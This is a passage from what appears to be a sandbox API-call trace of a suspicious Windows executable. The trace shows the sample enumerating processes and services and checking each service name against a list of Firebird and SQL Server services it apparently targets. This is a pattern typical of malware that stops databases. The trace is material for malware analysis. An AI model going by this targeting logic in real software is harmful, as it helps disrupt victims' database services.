6 [0215.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0215.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0215.598] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0215.598] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0215.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0215.599] lstrlenW (lpString="NlaSvc") returned 6 [0215.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0215.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0215.599] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0215.599] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0215.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0215.599] lstrlenW (lpString="nsi") returned 3 [0215.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0215.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0215.599] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0215.599] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0215.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0215.599] lstrlenW (lpString="PcaSvc") returned 6 [0215.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0215.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0215.599] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0215.599] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0215.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0215.599] lstrlenW (lpString="PlugPlay") returned 8 [0215.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0215.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0215.599] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0215.599] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0215.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0215.599] lstrlenW (lpString="Power") returned 5 [0215.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0215.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0215.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0215.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0215.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0215.599] lstrlenW (lpString="ProfSvc") returned 7 [0215.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0215.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0215.600] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0215.600] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0215.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0215.600] lstrlenW (lpString="RpcEptMapper") returned 12 [0215.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.600] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0215.600] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0215.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0215.600] lstrlenW (lpString="RpcSs") returned 5 [0215.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0215.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0215.600] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0215.600] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0215.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0215.764] lstrlenW (lpString="SamSs") returned 5 [0215.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0215.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0215.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0215.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0215.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0215.764] lstrlenW (lpString="Schedule") returned 8 [0215.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0215.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0215.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0215.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0215.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0215.764] lstrlenW (lpString="SecurityHealthService") returned 21 [0215.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0215.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0215.764] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0215.764] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0215.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0215.829] lstrlenW (lpString="SENS") returned 4 [0215.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0215.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0215.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0215.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0215.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0215.829] lstrlenW (lpString="ShellHWDetection") returned 16 [0215.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.842] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0215.842] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0215.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0215.843] lstrlenW (lpString="Spooler") returned 7 [0215.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0215.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0215.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0215.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0215.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0215.855] lstrlenW (lpString="StateRepository") returned 15 [0215.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0215.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0215.855] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0215.855] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0215.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0215.855] lstrlenW (lpString="SysMain") returned 7 [0215.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0215.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0215.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0215.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0215.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0215.855] lstrlenW (lpString="SystemEventsBroker") returned 18 [0215.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0215.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0215.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0215.856] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0215.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0215.856] lstrlenW (lpString="Themes") returned 6 [0215.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0215.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0215.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0215.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0215.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0215.856] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0215.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0215.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0215.856] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0215.856] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0215.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x51c [0215.860] Process32FirstW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.861] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.861] lstrlenW (lpString="System") returned 6 [0215.861] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.862] lstrlenW (lpString="smss.exe") returned 8 [0215.862] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.862] lstrlenW (lpString="csrss.exe") returned 9 [0215.862] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.862] lstrlenW (lpString="wininit.exe") returned 11 [0215.862] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.863] lstrlenW (lpString="csrss.exe") returned 9 [0215.863] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.863] lstrlenW (lpString="winlogon.exe") returned 12 [0215.863] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.864] lstrlenW (lpString="services.exe") returned 12 [0215.864] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.864] lstrlenW (lpString="lsass.exe") returned 9 [0215.864] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0215.865] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0215.865] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0215.865] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0215.865] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.865] lstrlenW (lpString="svchost.exe") returned 11 [0215.866] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.866] lstrlenW (lpString="svchost.exe") returned 11 [0215.866] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.867] lstrlenW (lpString="dwm.exe") returned 7 [0215.867] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.867] lstrlenW (lpString="svchost.exe") returned 11 [0215.867] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.867] lstrlenW (lpString="svchost.exe") returned 11 [0215.868] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.868] lstrlenW (lpString="svchost.exe") returned 11 [0215.868] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.868] lstrlenW (lpString="svchost.exe") returned 11 [0215.868] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.869] lstrlenW (lpString="svchost.exe") returned 11 [0215.869] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.869] lstrlenW (lpString="svchost.exe") returned 11 [0215.869] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.870] lstrlenW (lpString="svchost.exe") returned 11 [0215.870] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.870] lstrlenW (lpString="svchost.exe") returned 11 [0215.870] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.871] lstrlenW (lpString="svchost.exe") returned 11 [0215.871] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.871] lstrlenW (lpString="svchost.exe") returned 11 [0215.871] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.872] lstrlenW (lpString="spoolsv.exe") returned 11 [0215.872] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.872] lstrlenW (lpString="svchost.exe") returned 11 [0215.872] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.872] lstrlenW (lpString="audiodg.exe") returned 11 [0215.873] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0215.873] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0215.873] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0215.873] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0215.873] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0215.874] lstrlenW (lpString="Memory Compression") returned 18 [0215.874] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0215.874] lstrlenW (lpString="sihost.exe") returned 10 [0215.874] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.875] lstrlenW (lpString="svchost.exe") returned 11 [0215.875] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0215.875] lstrlenW (lpString="taskhostw.exe") returned 13 [0215.875] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0215.876] lstrlenW (lpString="msoia.exe") returned 9 [0215.876] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.876] lstrlenW (lpString="explorer.exe") returned 12 [0215.876] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0215.876] lstrlenW (lpString="SearchUI.exe") returned 12 [0215.877] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0215.877] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0215.877] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0215.877] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0215.877] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.878] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0215.878] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0215.878] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0215.878] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0215.879] lstrlenW (lpString="dllhost.exe") returned 11 [0215.879] Process32NextW (in: hSnapshot=0x51c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0215.879] CloseHandle (hObject=0x51c) returned 1 [0215.879] Sleep (dwMilliseconds=0x1f4) [0216.678] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b210 [0216.679] EnumServicesStatusExW (in: hSCManager=0x447b210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0216.679] GetLastError () returned 0xea [0216.679] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0216.680] EnumServicesStatusExW (in: hSCManager=0x447b210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0216.681] CloseServiceHandle (hSCObject=0x447b210) returned 1 [0216.681] lstrlenW (lpString="Appinfo") returned 7 [0216.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0216.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0216.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0216.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0216.681] lstrcmpiW (lpString1="sqlserveradhelper", 